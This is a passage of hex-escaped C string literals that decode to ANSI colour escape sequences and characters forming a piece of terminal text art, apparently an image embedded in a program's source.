"\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d"
"\x38\x3a\x2e\x2e\x20\x20\x2e\x2e\x74\x2e\x20\x2e\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33"
"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x25\x20\x20\x20\x2e\x20\x20"
"\x20\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33"
"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38"
"\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34"
"\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30"
"\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3a\x20\x20\x20\x20\x2e\x20\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74\x1b\x5b\x30"
"\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37"
"\x3b\x34\x37\x6d\x40\x2e\x2e\x20\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34"
"\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x25\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34"
"\x37\x6d\x3b\x20\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31"
"\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33"
"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x37\x6d\x58\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d"
"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x58\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30"
"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b"
"\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b"
"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x32\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x20"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d"
"\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x30\x3b\x34\x30\x6d\x58\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d"
"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30"
"\x6d\x20\x20\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30"
"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34"
